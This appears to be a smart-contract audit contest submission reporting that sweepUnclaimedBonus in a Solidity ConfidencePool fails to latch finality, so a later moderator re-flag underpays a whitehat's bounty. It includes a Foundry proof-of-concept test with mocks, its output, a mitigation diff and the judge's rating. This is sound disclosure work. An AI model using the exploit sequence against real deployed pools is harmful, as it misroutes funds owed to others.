BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Severity: low
Valid

sweepUnclaimedBonus performs value movement without latching finality, so a valid later CORRUPTED correction underpays the good-faith attacker's bounty

Author Revealed upon completion

Description

  • Normal behavior: ConfidencePool ties settlement finality to value movement. The moderator may correct the outcome via flagOutcome until the first claim latches claimsStarted, and docs/DESIGN.md §4 guarantees this is safe — "claimsStarted is a value-movement finality latch" and "Once value has left the contract, a corrective re-flag cannot be honored without breaking balance accounting" / "Finality is correctly tied to value movement."

  • Specific issue: sweepUnclaimedBonus() moves value out of the contract (the bonus, to recoveryAddress) but does not set claimsStarted. When riskWindowStart == 0 (the "no observable risk" state docs/DESIGN.md §5 relies on), it sweeps the entire bonus under a SURVIVED outcome while leaving that outcome re-flaggable. A moderator correction to good-faith CORRUPTED is then still honored after the bonus has left, snapshots totalBonus == 0, and sets the named attacker's bountyEntitlement to the principal only. docs/DESIGN.md §12 states the good-faith bounty is the entire pool (stake + bonus); here the attacker is paid stake only. This is exactly the "value left the contract, re-flag still honored, accounting broken" state §4 asserts cannot happen — and this value-moving function is permissionless (the sponsor, who owns recoveryAddress, or anyone, calls it). The moderator's SURVIVED→CORRUPTED reclassification is legitimate and supported (§4); no privileged actor performs the harmful step.

Root cause (src/ConfidencePool.sol):

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
uint256 freeBalance = stakeToken.balanceOf(address(this));
// @> full bonus is sweepable when riskWindowStart == 0
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
// @> value leaves the contract but claimsStarted is NOT latched -> a corrective re-flag is still honored
stakeToken.safeTransfer(recoveryAddress, amount);
emit BonusSwept(msg.sender, recoveryAddress, amount);
}
​
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
// @> passes because claimsStarted is still false after the sweep
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
// ...
// @> reads the drained total => 0 after the sweep => bounty becomes principal only
snapshotTotalBonus = totalBonus;
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
// ...
}

Risk

Likelihood:

  • Occurs when an in-scope breach happens (registry == CORRUPTED) while no pool interaction observed the active-risk window, so riskWindowStart == 0 (the state docs/DESIGN.md §5 explicitly relies on), and the moderator first flags SURVIVED then uses the supported pre-claim correction to re-flag good-faith CORRUPTED.

  • Occurs through a permissionless call: sweepUnclaimedBonus() needs no privileged role, so the sponsor (owner of recoveryAddress) triggers the sweep inside the correction window. All registry transitions involved are forward and reachable.

Impact:

  • The named good-faith attacker receives only the principal instead of the entire pool (stake + bonus) they are owed per docs/DESIGN.md §12; the full bonus pool is lost to them and paid to recoveryAddress.

  • A supported correction (docs/DESIGN.md §4) produces a broken payout — the exact accounting break §4 states cannot occur once value has left.

Proof of Concept

Add as test/poc/SweepReflagBonusLeak.t.sol; run forge test --match-path test/poc/SweepReflagBonusLeak.t.sol -vvv. Forward-only, reachable registry transitions.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {Test, console2} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
​
contract MockERC20 {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function mint(address to, uint256 a) external { balanceOf[to] += a; }
function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }
function transfer(address to, uint256 a) external returns (bool) { return _t(msg.sender, to, a); }
function transferFrom(address f, address to, uint256 a) external returns (bool) {
uint256 al = allowance[f][msg.sender];
if (al != type(uint256).max) { require(al >= a, "allow"); allowance[f][msg.sender] = al - a; }
return _t(f, to, a);
}
function _t(address f, address to, uint256 a) internal returns (bool) {
require(balanceOf[f] >= a, "bal"); balanceOf[f] -= a; balanceOf[to] += a; return true;
}
}
​
contract MockRegistry {
IAttackRegistry.ContractState public st = IAttackRegistry.ContractState.ATTACK_REQUESTED;
function setState(IAttackRegistry.ContractState s) external { st = s; }
function isAgreementValid(address) external pure returns (bool) { return true; }
function getAttackRegistry() external view returns (address) { return address(this); }
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) { return st; }
}
​
contract MockAgreement {
address public owner;
constructor(address o) { owner = o; }
function isContractInScope(address) external pure returns (bool) { return true; }
}
​
contract SweepReflagBonusLeak is Test {
ConfidencePool pool; MockERC20 token; MockRegistry reg; MockAgreement agree;
address sponsor = makeAddr("sponsor");
address moderator = makeAddr("moderator");
address recovery = makeAddr("recovery");
address staker = makeAddr("staker");
address whitehat = makeAddr("whitehat");
uint256 constant P = 100e18;
uint256 constant B = 50e18;
IAttackRegistry.ContractState constant CORRUPTED = IAttackRegistry.ContractState.CORRUPTED;
​
function setUp() public {
token = new MockERC20(); reg = new MockRegistry(); agree = new MockAgreement(sponsor);
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
address[] memory scope = new address[](1); scope[0] = address(0xC0FFEE);
pool.initialize(address(agree), address(token), address(reg), moderator,
block.timestamp + 100 days, 1e15, recovery, sponsor, scope);
token.mint(staker, P); token.mint(sponsor, B);
}
​
function test_sweep_before_reflag_underpays_bounty() public {
vm.startPrank(staker); token.approve(address(pool), P); pool.stake(P); vm.stopPrank();
vm.startPrank(sponsor); token.approve(address(pool), B); pool.contributeBonus(B); vm.stopPrank();
assertEq(pool.riskWindowStart(), 0);
​
reg.setState(CORRUPTED); // in-scope breach; pool never poked so riskWindowStart stays 0
​
vm.prank(moderator); pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
​
// permissionless sweep of the whole bonus to recovery; claimsStarted NOT latched
pool.sweepUnclaimedBonus();
​
// supported correction to good-faith CORRUPTED is still honored
vm.prank(moderator); pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
​
uint256 whBefore = token.balanceOf(whitehat);
vm.prank(whitehat); pool.claimAttackerBounty();
uint256 whAfter = token.balanceOf(whitehat);
​
console2.log("whitehat balance before :", whBefore);
console2.log("whitehat balance after :", whAfter);
console2.log("bonus at recovery address :", token.balanceOf(recovery));
console2.log("owed per DESIGN.md 12 (P+B):", P + B);
​
assertEq(whAfter - whBefore, P, "attacker paid principal only");
assertEq(token.balanceOf(recovery), B, "bonus went to recovery instead of the attacker");
assertLt(whAfter - whBefore, P + B, "good-faith bounty must be the whole pool");
}
}

Output:

[PASS] test_sweep_before_reflag_underpays_bounty()
Logs:
whitehat balance before : 0
whitehat balance after : 100000000000000000000
bonus at recovery address : 50000000000000000000
owed per DESIGN.md 12 (P+B): 150000000000000000000

Recommended Mitigation

Treat sweepUnclaimedBonus as a value-movement finality event for re-flag purposes: once the bonus has left, block a re-flag that would rely on it (the guarantee §4 states), without latching claimsStarted on the claim paths (preserving the intended 1-wei donation protection).

+ bool public bonusSwept;
​
function sweepUnclaimedBonus() external nonReentrant {
// ...
+ bonusSwept = true;
stakeToken.safeTransfer(recoveryAddress, amount);
emit BonusSwept(msg.sender, recoveryAddress, amount);
}
​
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
+ // Bonus already left via sweepUnclaimedBonus; a corrective re-flag can no longer be honored
+ // without breaking balance accounting (DESIGN.md §4).
+ if (bonusSwept) revert OutcomeAlreadySet();
// ...
}

Alternatively, reserve the bonus in sweepUnclaimedBonus while the live registry reads CORRUPTED under a still-correctable SURVIVED, so a good-faith CORRUPTED correction can still pay the whole pool.

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

sweepUnclaimedBonus() omits claimsStarted latch, letting a moderator re-flag re-snapshot a drained totalBonus and short the CORRUPTED bounty

Impact – Medium Up to the entire bonus pool can be routed to the wrong party for good, with no on-chain way to unwind it, and in a stakerless pool the effect is total since bountyEntitlement computes to zero and claimAttackerBounty reverts outright. This impact is definitely not High: the pool stays solvent throughout with no principal ever at risk, and the money ends up at the sponsor's own recoveryAddress, which in most pools means a sponsor recovering a bonus they funded themselves. The whitehat's claim on that bonus also only exists because the moderator changed their mind after the fact. Likelihood – Low Four separate things have to coincide: nobody touches the pool for the whole active-risk window (or there are no stakers to begin with), the moderator flags SURVIVED and later reverses to CORRUPTED, that reversal is good-faith with a named attacker, and a sweep lands between the two flags. The first cuts against staker self-interest, since skipping the poke costs them their entire bonus share, and the second asks the moderator to overturn a scope judgement, which is a bigger deal than the typo fix DESIGN.md #4 offers the window for. The sweep itself I'd treat as near-certain once the rest holds, given it's permissionless and the sponsor has an obvious reason to make the call, but assembling the first three in one pool lifecycle is where this stays rare.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!